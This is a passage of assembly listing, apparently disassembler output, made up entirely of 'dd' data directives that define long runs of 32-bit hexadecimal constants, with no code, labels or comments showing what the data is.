		dd 0F81D16h, 9B784E08h,	7BC4029Eh, 9CFE2D3Ch, 5240B33Eh
		dd 33B535B4h, 6B940069h, 0E1BDE342h, 247BCB93h,	0F5061500h
		dd 2CAB879Bh, 81490703h, 80AC2F04h, 9EA6BDC5h, 60B9363Bh
		dd 0DA086D40h, 24F883BCh, 1000700Ah, 9FBD9BF0h,	75FE3Ah
		dd 4EF9F295h, 62A8717Ah, 76459D03h, 0D0426A33h,	0ED2EE08h
		dd 0D1BFECE1h, 0F01270E1h, 0A3B835B1h, 0F25504E0h, 0CC97F8A0h
		dd 6E2422D2h, 8800D810h, 75F638B6h, 3945007Dh, 79207B4Fh
		dd 3600A8A9h, 9B58C577h, 0E0DD0976h, 0CBF0302Fh, 4BF81440h
		dd 64BA7300h, 8E78FE46h, 7FE700F2h, 0AABE1D8Dh,	9A005771h
		dd 827D62D5h, 514DE3Ch,	0D0CBEFE2h, 40B1C620h, 3764C400h
		dd 0F2815301h, 7F833DF5h, 6E5EA600h, 9E09773Ah,	3C669000h
		dd 0F12FD7EDh, 20C30011h, 4C4B016Fh, 0A0769986h, 2438854Ch
		dd 745D94CEh, 0EBBF9D00h, 0F516190Ch, 64870098h, 8452FE31h
		dd 480010F2h, 62B8718Dh, 3CB5A3A7h, 6B805F07h, 14D2190Fh
		dd 0D300CB9Bh, 0ECCF1D21h, 0AE7871h, 4075E438h,	8A7A0237h
		dd 6D7BB5F2h, 11453E00h, 0E908159h, 4082E125h, 1E0AD1CDh
		dd 0A1784700h, 50FE0E33h, 4B804540h, 67C1B781h,	91A3AB00h
		dd 907D6CC5h, 0D2DA013Fh, 0D1BADD15h, 0FBF66016h, 40BB4D30h
		dd 0B3425110h, 0DE50578Ch, 0D6990008h, 1150D24h, 880046F5h
		dd 0C513A2B0h, 20CCF23Fh, 57008350h, 33909CA0h,	0C1955Dh
		dd 0E1D1DA43h, 21DFD69Eh, 40E620Fh, 32B4A072h, 8C84FBh
		dd 7C88FD2Dh, 0AF67BCCBh, 436E3A00h, 428DF859h,	2EFEEDh
		dd 9D2CADDh, 56EF141Fh,	0A364B401h, 0F27EC3E8h,	904FF8h
		dd 0B167A81Eh, 6C42B53Fh, 44808100h, 0DCCBBCDEh, 22CC03E5h
		dd 7309CF71h, 0E65D9FD0h, 0F3825202h, 0C08A88ECh, 806BB0ACh
		dd 9B0A613Ch, 88230E8Fh, 0FDDF0448h, 1FB35D80h,	0CB539Eh
		dd 0AF39C721h, 7F3CA23Bh, 0AC34FF52h, 4F9B000Ah, 3CFFEE1Bh
		dd 9C003A28h, 3310DF39h, 85CE2B8Bh, 0CC5A6903h,	86D0E1CDh
		dd 0DFBED310h, 70D77C00h, 0A954324Bh, 84BF00E0h, 0ECB21715h
		dd 10C72A08h, 7F105144h, 0C1AC6B1Fh, 8AB78859h,	33D879F9h
		dd 9B0927h, 8AAF6821h, 0AB080FDCh, 0CCB12E00h, 30038FEAh
		dd 0AE190FFDh, 29C13A7Fh, 803F793Ch, 999ECF68h,	2D881AAFh
		dd 0CCA157E8h, 0F48EB462h, 0C50A0CD3h, 1CFB333Ah, 5B0697C4h
		dd 333D81AAh, 0C421005Ch, 647ED084h, 3FA42AB7h,	824C0E88h
		dd 0E8A08CFDh, 68B2CE0Dh, 15A313Ah, 4C1E85D1h, 0ECD6EB5h
		dd 0D9923180h, 985162C1h, 8E9D3E07h, 0C9AC9003h, 0B629F0E0h
		dd 0CD0100A4h, 0A771345h, 0AF5C9117h, 3D0BB8D0h, 0BC448010h
		dd 0B6788B00h, 0DD5C2F0Ch, 80C8DD3Ch, 289D31EDh, 0C607F192h
		dd 542B87FEh, 5E6E685Ch, 6D05F44h, 0A1A784D8h, 8F37507h
		dd 1BC1DBB4h, 308EC538h, 0D98173EFh, 0C4031ABAh, 65FCEB0Eh
		dd 60C027F8h, 2B85EA04h, 1A200156h, 194F2AEh, 0D46E8FAh
		dd 0CE118C05h, 40E4D0FBh, 502E00DFh, 2D51F048h,	0A3A08ACh
		dd 2175302Fh, 15016C6h,	89F08B49h, 81C704FBh, 664D2588h
		dd 0E441FA86h, 0CCCD27Bh, 59040033h, 4584C003h,	0F002571Ah
		dd 7B52EC9h, 4EFCA1C8h,	87FCE31Fh, 0F4C50AD5h, 0A9444A0h
		dd 87843EA7h, 303FE2D8h
		dd 0FF83AAF0h, 0DDCC5600h, 0B372ABADh, 88DA0ED2h, 0DF61282Eh
		dd 0EF4D4B21h, 0D101D810h, 625014C0h, 2F4321F0h, 0C8007B22h
		dd 258B501Ch, 18B93C74h, 81074F6Eh, 0B0FB2743h,	7C0F2029h
		dd 0BC4812ECh, 0F020B176h, 2491A5B9h, 4A623200h, 0C5C8A14h
		dd 6C91C9EBh, 21C03908h, 0BA4A5AD0h, 99A4002Ch,	0F431AEE5h
		dd 0F8C03A88h, 0B958F31Fh, 984B0643h, 393DA4D8h, 480020E0h
		dd 0E55ADE1Ah, 0AFA27h,	0F4FDF34Ah, 0B4CF993Dh,	0F8F14700h
		dd 11E1F60h, 13D81EB6h,	4528CAFBh, 0DB4203F8h, 24D9F0F9h
		dd 48788811h, 0BCD00329h, 0E9E78C9Ch, 12C86402h, 0CD8FB421h
		dd 0F047E840h, 8DB03170h, 0E62E4BF8h, 30F22C4Ah, 7A786E04h
		dd 0C48CAF1Dh, 0DC1400CBh, 4EE4124Ch, 7100A25Ch, 0CA41841Bh
		dd 4D09A42h, 6A1E2215h,	9C120099h, 266FBDh, 6C2A6DA0h
		dd 522D6E9Dh, 0E70EC501h, 58446A48h, 91BC97D6h,	0CC4D8037h
		dd 1C3C4059h, 401C88DCh, 9C8A01EDh, 5C1231F7h, 0E4B10D19h
		dd 88AD42D8h, 26607CF4h, 2E544C18h, 0CEC9076h, 0C54A6EA7h
		dd 48ADE861h, 0FA9CF740h, 0B5F300CAh, 5444E868h, 60C979F6h
		dd 24452CFh, 57417F30h,	146B4AD0h, 50A888A7h, 0C45712FFh
		dd 9229040Ch, 0C1847BE1h, 0DDDE864h, 773109EBh,	0B0A174F4h
		dd 0E0A81A2Fh, 10D842ECh, 532E240h, 7F52F20Dh, 220C981Ch
		dd 2FF68B04h, 9D32EA23h, 8ABA6920h, 0F98004DEh,	882B42BBh
		dd 90076EC4h, 1D3C2C77h, 43ECA789h, 10097985h, 5F80904Dh
		dd 7468A844h, 4BF90C3Eh, 1E90F31Ch, 8B20028Ch, 0E9B32FF8h
		dd 6710A419h, 3F008AB8h, 755CF997h, 7786237h, 0C23A27ACh
		dd 92E07770h, 0D868578Ch, 91C07ACFh, 2CC45A4Fh,	0C38E0069h
		dd 0B1238A99h, 0F4007BC0h, 0D702F171h, 483F29A6h, 0BA2300CCh
		dd 334A6101h, 3D18648Ah, 4A59888Bh, 627E6DDh, 30423446h
		dd 0E4FB7989h, 18492B88h, 844100B0h, 0E50D92A5h, 6CAB3085h
		dd 0D07FEEA8h, 45BC8702h, 41A0B849h, 9042FFCCh,	8B1E3018h
		dd 32FF215h, 80A088D8h,	378AB66Dh, 0FE0406BAh, 2D5C341Dh
		dd 53E00C90h, 7C2705C8h, 476033h, 557806C0h, 281F9F6Dh
		dd 0EB819214h, 0DBCFFD23h, 2A5813D0h, 4DCCBA7h,	0B7E9FAEFh
		dd 3300BC44h, 30F3094Eh, 1B940F21h, 3702EEFFh, 2FE4EB90h
		dd 0DDE86054h, 80792C7Eh, 332982B0h, 8889023Ch,	0EB41C001h
		dd 30B81283h, 15124A5Fh, 0BC38748Ah, 4A571DD1h,	65534DD2h
		dd 20B2610Eh, 77503774h, 2F60C5ACh, 70F2D780h, 899740A4h
		dd 0D48C2B12h, 7978C040h, 4C90F434h, 0BE820C25h, 6011B4CCh
		dd 611607D2h, 3AF3AFFFh, 8A0A8C30h, 0DCE430FBh,	465C2750h
		dd 0DC983B7Bh, 0A4B95912h, 0C367F023h, 0A02CD833h, 0DC5F00B1h
		dd 8A25605Ch, 5398B696h, 97F2770Fh, 0FE6E67F7h,	663D4E60h
		dd 214A1554h, 1D0ED016h, 28409B20h, 0CED8A058h,	87DA5C1Ah
		dd 11F09DF0h, 2FAA809Ch, 0D433213Ch, 9802A0D0h,	480CD244h
		dd 4A499080h, 0E7489E7Eh, 8C35BC8Ch, 5B3DF3EEh,	22E10E38h
		dd 0A8DFAC56h, 645E0075h, 0D7140BF2h, 4406C2FFh, 3B153C29h
		dd 43CE1E88h, 0AC1C262Bh, 77467404h, 7E2A2B00h,	0BEFF8D2Eh
		dd 431E609h, 0B68CA11Dh, 84523D68h, 71985152h, 3018A1h
		dd 71224A53h, 869D7788h, 0CB40237Dh, 401C60AFh,	2ECEB8Bh
		dd 0E784B00Dh, 30DEC89Ch, 5F115015h, 0E28409F0h, 1DBF00CDh
		dd 3BB650h, 2E7DD32Bh, 1B01920Bh, 9E167601h, 0A124597Eh
		dd 60696C20h, 61DBA1B4h, 6200B194h, 2405334Eh, 3CFB2EF3h
		dd 0D9A79C32h, 3AA71061h, 1B86C801h, 0B88BFFC8h, 2881CE45h
		dd 32DC95Ch, 0F4C1FC2Eh, 290C2885h, 0FD21CCA6h,	503080D0h
		dd 2D41F066h, 0C460D0B9h, 0B8B15018h, 9F9C2040h, 97C5E800h
		dd 0E1D3BCCFh, 466492B4h, 8B21021Dh, 0B1BB2FF7h, 6A109EC8h
		dd 0FC048AB9h, 7DA53E95h, 69182CE8h, 0A71821B3h, 2A8D4100h
		dd 0B8A013F3h, 32E100C1h, 4C339E31h, 0E52E302Eh, 25608019h
		dd 9CB6F4Dh, 9F8DE672h,	51040068h, 46038494h, 1BDF67C4h
		dd 3972CFB0h, 0FCC075E2h, 3E00DDD3h, 18E85D59h,	9AC6A757h
		dd 3DE90594h, 80AAAF28h, 11DA1EEh, 0A4226224h, 0A4EBAC02h
		dd 70A0480Ah, 0FB0D00AEh, 4583EAA3h, 0E665678Ch, 0A0044870h
		dd 7019C08h, 93DE3C23h,	0A44811C0h, 4A63C0B4h, 54468A31h
		dd 0CD003B22h, 0DA0A4A5Bh, 0EFDF45A4h, 848C51CAh, 0B0341B87h
		dd 2709AF6Ch, 419C1C58h, 4CDCD244h, 8528C279h, 74CA042Bh
		dd 80110C8Eh, 0F0615013h, 222F4319h, 1BC90076h,	0CC5D6050h
		dd 0AF18C372h, 31A140A5h, 9182000Ah, 64D23E4Dh,	2E008315h
		dd 7E9BB250h, 79475DDFh, 5B0326B6h, 60F8059Ch, 62A82028h
		dd 45F90BB4h, 9D6C04E0h, 5F94A425h, 71E0E954h, 0F4703C88h
		dd 2BE810h, 80F5C058h, 532D33C4h, 0FCD91864h, 65502F60h
		dd 2D39F010h, 0CDDCC4h,	145017C5h, 0E1D43B22h, 0FD8B72BBh
		dd 0CC807BA1h, 63C85F2h, 0DD1BE814h, 1FF410A0h,	80CEAF01h
		dd 247B0432h, 72AA438h,	19D08EDh, 881C7E24h, 2CBD042h
		dd 547CA522h, 0DA00B1A6h, 3831162Bh, 0AE6B242Dh, 0D6ED8188h
		dd 21FBF1A1h, 0E030A024h, 876CF759h, 0B5C4E922h, 8662498h
		dd 3C8A304Ah, 0CC413EC4h, 23D54A5Eh, 0F3FE24BCh, 559DFD80h
		dd 0E21A0Eh, 25489E73h,	288F4E75h, 0A7BC6312h, 38E2A453h
		dd 0DC38670Fh, 0F31BAF22h, 55008479h, 1AC3290h,	61FEDFh
		dd 0B4F2A3Eh, 77442CE9h, 32494B0h, 4B40C8D1h, 0CC85BAh
		dd 0F5395C8Dh, 5A2F5781h, 0F2E39022h, 3063009Ch, 3854FDBCh
		dd 4D0CAE0Fh, 0E1881422h, 40294A43h, 0F99042E0h, 63051D4Dh
		dd 0AFF24E11h, 80EC1409h, 38A1628h, 60E64158h, 0B241D07Ch
		dd 0C746831h, 0C4933CF1h, 158A6F00h, 7A6325AEh,	24172FF8h
		dd 0BC605D13h, 211EE9F3h, 8C09545h, 19E9FCh, 0DF508D2Ch
		dd 179A5997h, 70264564h, 414E7C80h, 0ED792EC9h,	2388C05Ch
		dd 6888EEE8h, 0CD8B0E07h, 0F6EC76h, 0AC654F5Ch,	2326302Dh
		dd 0D2833014h, 49A2070h, 38FE13D0h, 761CF4C6h, 61411017h
		dd 2F312030h, 27811DCFh, 2B8AC435h, 234F310h, 7F62ACF4h
		dd 0C044D2h, 0F52D994Fh, 46B09FB5h, 0EB186EE0h,	1630A034h
		dd 40E0058Bh, 82CA48BEh, 94A2C744h, 5444606Eh, 9E1705F8h
		dd 0DC413EA5h, 0C910FB87h, 8C087880h, 33D69CD7h, 0FFEE900Dh
		dd 582340DCh, 173177A2h, 7F19C170h, 2C913B37h, 0FED888DAh
		dd 56132588h, 0F402E85Eh, 9D451DE9h, 910F231h, 6F00E9FDh
		dd 0ED928D9Ah, 9863F98h, 0A6877F3h, 48FAC21h, 4C9474F1h
		dd 4B80D350h, 0C214EFh,	4A6530B6h, 448A2F11h, 0CB803688h
		dd 75FD4A5Dh, 8F1B0205h, 0D8C1B195h, 527A5CE0h,	0E890F15Ch
		dd 0CE098C9Ch, 400D3C8Fh, 5D3F252Ch, 438258C4h,	0A8008532h
		dd 6CEC58F2h, 900C188Eh, 7688C454h, 0C100E57Dh,	0F7CDDAA5h
		dd 61C811h, 1632C308h, 47F1E643h, 94C6E1Bh, 8933D1D1h
		dd 68952C40h, 0F8809F51h, 17A4084Dh, 0C8468208h, 1EDCA811h
		dd 0E7544BA1h, 0C2AB1485h, 20483790h, 3A01D291h, 0F23CAF08h
		dd 1B6EE878h, 75E1389Ch, 69498AEDh, 9D8080AFh, 53E5FABBh
		dd 0EA460196h, 42A5BD28h, 3F0C622Ch, 36558C1Fh,	14E70E0h
		dd 0CA61A608h, 83DCA528h, 18F29151h, 4898F255h,	175E8B0h
		dd 49AB934Fh, 0A5448EDFh, 91A49771h, 0BF1D80A0h, 4A162325h
		dd 104C2F6Dh, 2DCCF7Bh
		dd 0A25478F0h, 0A105E8A3h, 0A2B4490h, 7018C0A4h, 692090C0h
		dd 7CB8943Ah, 0B1009E46h, 0BC455E38h, 9CA0DBE7h, 5524542Fh
		dd 13893031h, 0F7B43059h, 452210E9h, 800CE3F5h,	0D8CFE9h
		dd 0B1B9A468h, 70B6E206h, 30238613h, 58F05441h,	0C1919964h
		dd 0BFDC1D9Ah, 7AFE790Ch, 3A040052h, 0BC2A8AAAh, 5300D77Ah
		dd 4FD292B7h, 138FF79Eh, 0C8E16403h, 884069DCh,	2E352C31h
		dd 85AF11B4h, 24824A60h, 45D84C6Ch, 4ABA6038h, 0E7F27500h
		dd 0D714C5B8h, 4BBC2DF1h, 0BB0AB0E4h, 885A1323h, 21E9F8C0h
		dd 22FD4645h, 10D00DAh,	10BCCAEAh, 0F067642Bh, 219CA748h
		dd 755305BBh, 80F31E7Eh, 31EB9E7Ch, 802D362Ch, 0E0495F43h
		dd 91E287CDh, 1DB8091Ch, 0E1DE84C0h, 8B76232h, 12444D0h
		dd 7DA5C570h, 31C146F9h, 17D7F0B9h, 0DA9CDB00h,	0F04DA60Eh
		dd 14211F2Eh, 0A4B7C5FBh, 7B844043h, 0EB23D097h, 3750FC00h
		dd 0D36F8FAh, 0BB9FCCBh, 73D3BC62h, 0F3618004h,	3890B40h
		dd 56D02FB4h, 49275860h, 8D4105B7h, 0F281CEDEh,	30A4F2A4h
		dd 0C80084A3h, 0ECB52306h, 14EEDA7h, 345FE142h,	220D4CF4h
		dd 742F4A58h, 61CA223h,	0DF047D81h, 5CF091F8h, 424B40Eh
		dd 0A8113C2Fh, 81D00904h, 2051D2h, 0FBF6DE6Eh, 4705F9BAh
		dd 963890F0h, 212000E4h, 0F08719DDh, 0A1493860h, 0A95C31C8h
		dd 0E5275983h, 0F1A8BAD1h, 0CC4906B5h, 0F41F1710h, 80DE5C08h
		dd 0DF1A0B45h, 96005F9Dh, 4ACDD83Ch, 89FEEEh, 0F814590Ch
		dd 2ECA0847h, 83745A0Bh, 0B35487DBh, 617E5282h,	0A2149870h
		dd 1EC900B0h, 4F0B6F1Dh, 0C0FD0F7Ah, 0F4845EDFh, 0A658E05Ch
		dd 38058BCh, 4A34F5D2h,	73960F0Dh, 809E6A72h, 23775EDh
		dd 2864C8E6h, 3143AE68h, 49246CF4h, 7A975C5Fh, 7403C085h
		dd 0DD7425D7h, 5FFB98A0h, 23BC2F18h, 76853E74h,	0E0C78C44h
		dd 6605FAC8h, 0B9852E3h, 0E67F48D0h, 0EF4EBDh, 48F4C53Ch
		dd 5C80BF33h, 18866BFAh, 3AA9E802h, 47B04A0Bh, 60D94484h
		dd 172207F9h, 0B4456E57h, 80B81A54h, 0A5F87817h, 0DFDC14E5h
		dd 7D748419h, 11649D82h, 834809Dh, 172EA006h, 40F9C023h
		dd 0B368ABD0h, 1409263Ch, 90ED981Eh, 0A07944C4h, 86D5DC44h
		dd 20419A45h, 0C60CDFDh, 440D4B45h, 5EB1FF4h, 0F4813831h
		dd 0A0457F6Eh, 20359C92h, 36A701ECh, 0A8038E3Eh, 8D2230C4h
		dd 60C05CB1h, 0B941803Eh, 90078230h, 6CEA3403h,	424881F0h
		dd 2C41E861h, 0A7073D74h, 90E7E68Ch, 8B8A979h, 4908BB06h
		dd 35589E74h, 0F640680Fh, 6409E048h, 2E5500E3h,	963E9814h
		dd 70947742h, 4B4004DCh, 0A80672A7h, 0D2362E08h, 1EC9F418h
		dd 3EB3F83h, 44882F87h,	68A07BBCh, 97934979h, 1D2B3200h
		dd 298B678Ah, 0BB392C59h, 20882000h, 620126B0h,	0B51CF2C4h
		dd 0F422D00Ch, 0F7B21A00h, 106E4609h, 6A75627Fh, 0D2950404h
		dd 6887545Eh, 0AF3E61CFh, 106CEADEh, 8C76BCh, 9CDC7A65h
		dd 0BFAA4D01h, 0CF0A009h, 0B578820Fh, 2008F230h, 18A9DF36h
		dd 24C11437h, 1F00CDE4h, 21978ADFh, 2D284868h, 40B86020h
		dd 930125DEh, 910AC545h, 0F440B434h, 2404B511h,	46F81317h
		dd 0CF25694Bh, 761420B3h, 0EA4370C0h, 5FFF39EDh, 5431F103h
		dd 0A019F39Dh, 12910B88h, 0F5F21888h, 8ECC53h, 30CDE284h
		dd 774C233h, 34888C47h,	4EA1236Dh, 0C825B7C3h, 0B78906Ch
		dd 0E010404Dh, 0D890885Fh, 90E14928h, 0D75020D8h, 7DA820FDh
		dd 5C0980B9h, 446CA1BDh, 0C02837C4h, 9CBC685Ch,	2F28098Ch
		dd 0B426E0F4h, 0B7959089h, 0F2C0008Ch, 18238689h, 131FCA40h
		dd 60571324h, 20E9F9ACh, 0AC4CEBA2h, 90ED744h, 730BEA02h
		dd 0E272A10Fh, 52920000h, 6F823070h, 64890060h,	5002B63Fh
		dd 0C015F79h, 0B10EDC2Ah, 9F89DE9h, 8CD24849h, 9760628Eh
		dd 0A62DBB1Eh, 0A7CC0B09h, 0E9D8C08Dh, 0F9411361h, 88DCCBE8h
		dd 6443C23Ah, 0ED20F0E0h, 4E9E3102h, 62110882h,	7128D156h
		dd 2C76183Dh, 62CCC5F3h, 0C4491E0h, 94F24E01h, 9E56B5F0h
		dd 9D3C1EE0h, 0DEB93401h, 4C86288h, 30AD5C77h, 3389140Fh
		dd 6E13A452h, 0DC300D48h, 214F02Dh, 8C451FAAh, 88E87AFFh
		dd 3D400954h, 24D4982Eh, 6E44F9BCh, 0C048DE32h,	2E2B7AD2h
		dd 0C3FF1358h, 356C0B90h, 8EE81484h, 0CDE2843Ch, 8E401E32h
		dd 44064BFDh, 87D2712Dh, 0B1E70041h, 9F513518h,	0F2130195h
		dd 0D0A78EAFh, 0F240A2C8h, 958F6848h, 0E6908022h, 8D70EC00h
		dd 0A827CB9h, 1622DC13h, 0B0541D94h, 58393B59h,	5C62BA2Ch
		dd 0A5042F60h, 0F2E09A29h, 8C8F4E39h, 5C3D2FF8h, 0B6A6C05Dh
		dd 55368048h, 318952D4h, 742F3F5Ah, 5E00D623h, 0A2FD18BAh
		dd 254374DAh, 0B048A535h, 2C0357A6h, 0A7B20F56h, 3DAE8E7h
		dd 46110C82h, 0A4D80C31h, 0C8ECD758h, 2EC4A493h, 72448064h
		dd 5C53C2Ch, 774778BEh,	0DB900C48h, 333B3729h, 568680D5h
		dd 0EB717A24h, 80300067h, 923EFB4Bh, 9499C5BEh,	0D1131F62h
		dd 18D4D90Ch, 0D97E00E8h, 9E5CFAF6h, 0C56FA737h, 90DA0721h
		dd 4AA5540h, 0F8C405C2h, 81EC5B48h, 2C94054h, 2280E028h
		dd 22B442DBh, 1B87170Bh, 5CAC515Ch, 269F5CDh, 0B8E6AC9Ch
		dd 3CB66D24h, 98DD550Ah, 6C95E964h, 0DCE004E6h,	4B054727h
		dd 8E9DF24Dh, 5689DC77h, 906DA544h, 0B1B465C0h,	921F048Eh
		dd 1331955Ch, 0E81EF40Fh, 491044B6h, 0A908021Ah, 0CE20183Ah
		dd 9B4F6E80h, 34950C44h, 0E64354B0h, 2FE56A22h,	80DE904Fh
		dd 0D861E256h, 4329000Eh, 0A024F0B7h, 0C1227F4h, 7001F30Bh
		dd 33BCCF9Dh, 780BBC25h, 0A0C4A288h, 0B72A7580h, 633A0B7Ah
		dd 0BC4BD251h, 0DCF91E89h, 289B685Bh, 10E67451h, 2184D99Ch
		dd 0E378BC66h, 0B1B64474h, 34233C42h, 10F2B589h, 9C68B6D0h
		dd 80D4800Ch, 347FAD0h,	3CF30900h, 0EA3D3E70h, 868A12AAh
		dd 0C40C8BE8h, 8730CDE0h, 0A209688Eh, 16B9A325h, 8B052540h
		dd 60077CBDh, 820BD4FAh, 0C101948Ch, 58928968h,	236C3F68h
		dd 2520099Bh, 0D8123045h, 7185DC22h, 7E0341A8h,	251BD08Fh
		dd 1744B505h, 54809C42h, 0B69D3490h, 63368B74h,	0F4B1D098h
		dd 390784Dh, 0F0B510D1h, 4E6901C7h, 0F6A5CE1Eh,	8AE87C0Fh
		dd 5A80B0FFh, 0B95B0168h, 64730943h, 74A36321h,	0C6F85829h
		dd 74EB1162h, 288AB04h,	79180453h, 80FE6EB6h, 0F8E758B4h
		dd 3457605Ah, 675FA082h, 60744438h, 2E44F02Ch, 821C3254h
		dd 0ED7B7E52h, 255860ECh, 8CD7BC58h, 7B63CE01h,	0C4DF5529h
		dd 0D02F2072h, 90C778A0h, 7DF6A34Eh, 5E48BB01h,	0AC1B8687h
		dd 4A219824h, 0C8C48B2Dh, 0FD0FC136h, 66426006h, 6F8C03Dh
		dd 0FAA003C4h, 0FF948158h, 50093218h, 1C31F064h, 1ACA008Ch
		dd 76E13250h, 0F91EE71Bh, 0F244474Dh, 848E371Eh, 0AEC0A088h
		dd 94FE0FBh, 0F15C31B0h, 0DBB40468h, 88E744h, 4827ED2Fh
		dd 28C0D962h, 27B1E78h,	0B412367Eh, 14E4A4EBh, 3A6E00FEh
		dd 0A69DA70Dh, 555C0976h, 61AB00F4h, 36246F45h,	98C60B04h
		dd 0C01D84C4h, 0C780D511h, 1DC2221h, 0B245AA09h, 0D0ECC8ECh
		dd 2E514B81h, 0BA2235Ch, 0C280179Dh, 0DEC489A3h, 21A78E30h
		dd 4B58F2C0h, 87F48060h, 273DDF75h, 298C8192h, 0CB11E289h
		dd 23F82F2Eh, 248283Ah,	158E648h, 942070D0h, 8A0932h, 974272C6h
		dd 8C054504h, 4C40905Ah, 4CFE8416h, 0B7F100A6h,	88AC405Eh
		dd 543C518Ch
		dd 0D6E1008Dh, 948ECC4h, 0C9830442h, 0BC843043h, 397E80ACh
		dd 981CEDBh, 28155C34h,	0E254FCA3h, 197488E5h, 8B1D048Ch
		dd 0CE1B2FF3h, 0B56E0280h, 0D8A0A88Ah, 929A406Ch, 639CEE04h
		dd 0DCB9A502h, 4E00D2B8h, 0A424E5FEh, 0FEE48C20h, 2BBC2C62h
		dd 50A85Ch, 1DF06F4Eh, 1F17A4DCh, 4A214402h, 7A86DEAFh
		dd 74FE0908h, 8C72685Eh, 6E055200h, 0EFF74FFBh,	0EB10AC3h
		dd 60C4D524h, 733F041Dh, 0B9849300h, 5928A6EFh,	414FC6Eh
		dd 35872B86h, 0E8B4BC15h, 0CD43E0h, 8F7C84C2h, 0BCCF5FF7h
		dd 9F467474h, 0E629B403h, 0F0A9B6EFh, 74B3E158h, 0C201B08h
		dd 41090FDh, 0A95C9133h, 10A4D032h, 0AA075301h,	1DAF6CFBh
		dd 0CF414F70h, 0C0B55A0Ah, 0EB732F74h, 98338913h, 2858D4E1h
		dd 0FFB61002h, 0C47F02C7h, 848547B5h, 54F862C8h, 23A82E5Eh
		dd 6865093Eh, 457B3CC8h, 0B2A0D3Fh, 70A060F2h, 0CB79F10h
		dd 9514FF13h, 0D179007Ch, 825DC53Ah, 0C480B5DDh, 0BD92CD7Dh
		dd 8C448916h, 84EB020h,	85DE04B3h, 8287CE7Dh, 0AC82CDF4h
		dd 0CCFBDA9Ch, 0C5B2D001h, 6840A57Eh, 58E992h, 6B0DC0D7h
		dd 2A45A18Eh, 6D005175h, 0C2130779h, 0B7F31E49h, 88E01018h
		dd 23841DEh, 6D870846h,	54D0C428h, 40DAD41Fh, 520073A4h
		dd 0F9219F66h, 0E4CDF260h, 75251F57h, 1E1D80CFh, 0DF284901h
		dd 548E12Fh, 0D8884798h, 0F99C1355h, 0DE7091CFh, 24CCC4Ah
		dd 4679F514h, 93F22F8h,	476ED713h, 0E402B446h, 70039008h
		dd 10BC19E2h, 4F493C29h, 0A624C83Ah, 98518Ah, 0C09DD510h
		dd 4A392ED0h, 0B56A946Ch, 697A0020h, 417B03C6h,	97C7905h
		dd 85AA9726h, 0E333C003h, 87420094h, 36C48ED2h,	0D1FA1023h
		dd 0F6619401h, 6F372D1Ch, 2842EF0h, 70F2A998h, 2848A14Ch
		dd 2D0BB8A7h, 60B02B08h, 5A78D024h, 0F1548040h,	9D257E61h
		dd 0C4E8C5E7h, 5672603Dh, 82CCB998h, 0E97A5C46h, 0B613ACC4h
		dd 0E0E2A7E7h, 0CCDE1F1h, 848F0B4Ch, 9C82322Dh,	285A2E42h
		dd 0FC4B70F0h, 0DA130C00h, 2FAB08h, 6ADD9BF6h, 192C0C6Eh
		dd 0C9099818h, 90E7499h, 6A17F5B7h, 981E890h, 2473A500h
		dd 6E3B937Bh, 0D7E00BCh, 0B34D21B2h, 0BAE8042Ch, 0C0DF5227h
		dd 249048h, 0D3992A14h,	0CF17D6D9h, 0FCBCBC73h,	0C0346D2Dh
		dd 0ACB0A3ADh, 4F078903h, 5AFF6B7Dh, 102C3A21h,	8DC0CDE3h
		dd 9739EFE1h, 260D8E3Fh, 600B3E55h, 258C58A7h, 3CC16C03h
		dd 0C33A72h, 84100C8h, 64BC58A3h, 3B045C0Bh, 9C24910Ah
		dd 210D0E2h, 5790013h, 0AACF4C5h, 0D974B9BFh, 2E6B18D9h
		dd 8CCA58Fh, 64AD4491h,	95092ACh, 0CE45E74Ah, 90309C50h
		dd 5F732930h, 0B0A09DA7h, 0E24E6738h, 56CE600h,	0FD92DBAEh
		dd 414F4F6Eh, 4230F3Ch,	282200DAh, 0A7DF2787h, 89E40048h
		dd 1805B000h, 7C560E0Ch, 0B998CC37h, 1D131471h,	88BEAh
		dd 0F4918239h, 0A6032F24h, 946958E9h, 718C39E8h, 0D04E019Bh
		dd 962747DDh, 28313BC7h, 303B9CF1h, 77632524h, 7985F022h
		dd 0D674B47Fh, 0EE20CE0Fh, 880A614Ch, 1F6E581Bh, 0BB8BC098h
		dd 0F4DBBD76h, 614BCA0h, 9194C80h, 0F54B6EA7h, 0A0985850h
		dd 0A80D7FEh, 0B51009B6h, 6CE26204h, 28800CB7h,	3DF94311h
		dd 91E2707Ch, 0DE442C88h, 5D356402h, 0C0C37579h, 9CE457E4h
		dd 0DF3F0330h, 610E028Eh, 4C4B19F9h, 4074E0AAh,	231087A7h
		dd 0E89DBC8h, 42058404h, 5E3FBC44h, 24542200h, 483C466Eh
		dd 3180B90h, 900B4478h,	8223271h, 4025B8B8h, 4BA77E74h
		dd 1C06BE7h, 907CEA14h,	3360C626h, 57594A8Bh, 23702F08h
		dd 0BAE6009Fh, 686B57ADh, 7A0490F2h, 34115C8Ch,	7C7A0A4h
		dd 481332F0h, 8B4422D0h, 3312CC74h, 7AC08Ch, 0FC2D1ADAh
		dd 1F585702h, 0CF229800h, 5CF4346Ah, 0C628A025h, 948BACBh
		dd 51689AF2h, 0F894ACD8h, 7B1C00DCh, 0F053FEB4h, 0BB5A204h
		dd 0FC641064h, 76FF2ABDh, 0C15882D8h, 221005B8h, 0E90123E5h
		dd 77FD5B5Eh, 7CC0B00Fh, 3825BF69h, 0A44080EEh,	5A00378Dh
		dd 0D4C3CE3Ch, 5CADDAFBh, 1A031277h, 9061F833h,	0BC5409F2h
		dd 27EBBF88h, 0A9190460h, 494A6E12h, 303451h, 75D230F5h
		dd 0F752B6h, 53BA5902h,	24D5ECE9h, 1915B05h, 54CC1176h
		dd 7C812A9h, 0C35C0CE8h, 0B2606919h, 918C4851h,	0C9141DFBh
		dd 22C89290h, 68C00BD4h, 63037EA8h, 0CB972C81h,	0D4A1A243h
		dd 681725FCh, 0DB80E291h, 37581FF8h, 1ADE5F04h,	0C80898h
		dd 0E45B05E0h, 0C0177425h, 0FB888D6Ah, 5720BC4Ch, 8144F90h
		dd 7F510918h, 1C04301Ah, 2FF4178Bh, 0C028E213h,	318AB46Bh
		dd 0FCAE26F9h, 4B912F4h, 0C85A3D4h, 481C6861h, 16045C6Dh
		dd 3CCD8D2h, 0F63460F0h, 0C08F0218h, 6F8DE08Ah,	0A0F1E0F9h
		dd 831C0D18h, 94EE5A74h, 7C85FEC2h, 3C338230h, 0A605C945h
		dd 4238CCB9h, 99540FF6h, 72897852h, 0FB891420h,	4899E5F8h
